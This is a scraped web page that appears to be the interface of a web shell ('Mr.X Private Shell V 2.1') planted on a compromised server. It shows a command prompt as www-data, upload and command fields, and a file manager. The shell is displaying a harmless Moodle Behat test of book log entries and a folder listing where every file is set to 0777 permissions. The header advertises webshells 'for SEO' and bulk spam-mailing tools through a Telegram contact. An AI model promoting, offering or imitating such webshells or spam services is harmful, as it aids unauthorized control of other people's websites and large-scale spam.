__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_book
Feature: In a book, verify log entries
  In order to create log entries
  As an admin
  I need to perform various actions in a book.

  @javascript @_switch_window
  Scenario: perform various book actions and verify log entries.
    Given the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1 | 0 | 1 |
    And the following "activity" exists:
      | course   | C1        |
      | activity | book      |
      | name     | Test book |
    And I am on the "Course 1" course page logged in as admin
    And I turn editing mode on
    And I am on the "Test book" "book activity" page
    And I set the following fields to these values:
      | Chapter title | First chapter |
      | Content | First chapter |
    And I press "Save changes"
    And I click on "Add new chapter" "link" in the "Table of contents" "block"
    And I set the following fields to these values:
      | Chapter title | Second chapter |
      | Content | Second chapter |
    And I press "Save changes"
    And I click on "Edit" "link" in the "Table of contents" "block"
    And I set the following fields to these values:
      | Chapter title | First chapter edited |
      | Content | First chapter edited |
    And I press "Save changes"
    And I click on "Next" "link"
    And I click on "Previous" "link"
    And I navigate to "Print book" in current page administration
    And I am on the "Test book" "book activity" page
    And I navigate to "Download IMS CP" in current page administration
    And I navigate to "Reports > Logs" in site administration
    And I set the field "menuid" to "Course 1"
    And I press "Get these logs"
    Then I should see "Book exported"
    And I should see "Book printed"
    And I should see "Chapter viewed" in the "#report_log_r4_c5" "css_element"
    And I should see "Chapter viewed" in the "#report_log_r5_c5" "css_element"
    And I should see "Chapter viewed" in the "#report_log_r6_c5" "css_element"
    And I should see "Chapter updated" in the "#report_log_r7_c5" "css_element"
    And I should see "Chapter viewed" in the "#report_log_r8_c5" "css_element"
    And I should see "Chapter created" in the "#report_log_r9_c5" "css_element"
    And I click on "Chapter viewed" "link" in the "#report_log_r4_c5" "css_element"
    And I switch to "action" window
    And I change window size to "large"
    And I should see "1. First chapter edited" in the ".book_content" "css_element"
    And I switch to the main window
    And I click on "Chapter viewed" "link" in the "#report_log_r5_c5" "css_element"
    And I switch to "action" window
    And I should see "2. Second chapter" in the ".book_content" "css_element"
    And I switch to the main window
    And I click on "Chapter updated" "link" in the "#report_log_r7_c5" "css_element"
    And I switch to "action" window
    And I should see "1. First chapter edited" in the ".book_content" "css_element"
    And I switch to the main window
    And I click on "Chapter created" "link" in the "#report_log_r9_c5" "css_element"
    And I switch to "action" window
    And I should see "2. Second chapter" in the ".book_content" "css_element"
    And I switch to the main window
    And I click on "Chapter created" "link" in the "#report_log_r11_c5" "css_element"
    And I switch to "action" window
    And I should see "1. First chapter edited" in the ".book_content" "css_element"
    And I switch to the main window

Filemanager

Name Type Size Permission Actions
book_activity_completion.feature File 4.18 KB 0777
create_chapters.feature File 4.96 KB 0777
display_book_description.feature File 2.62 KB 0777
edit_navigation_options.feature File 1.8 KB 0777
edit_tags.feature File 5.76 KB 0777
log_entries.feature File 3.39 KB 0777
reorganize_chapters.feature File 3.89 KB 0777
show_hide_chapters.feature File 2.95 KB 0777
Filemanager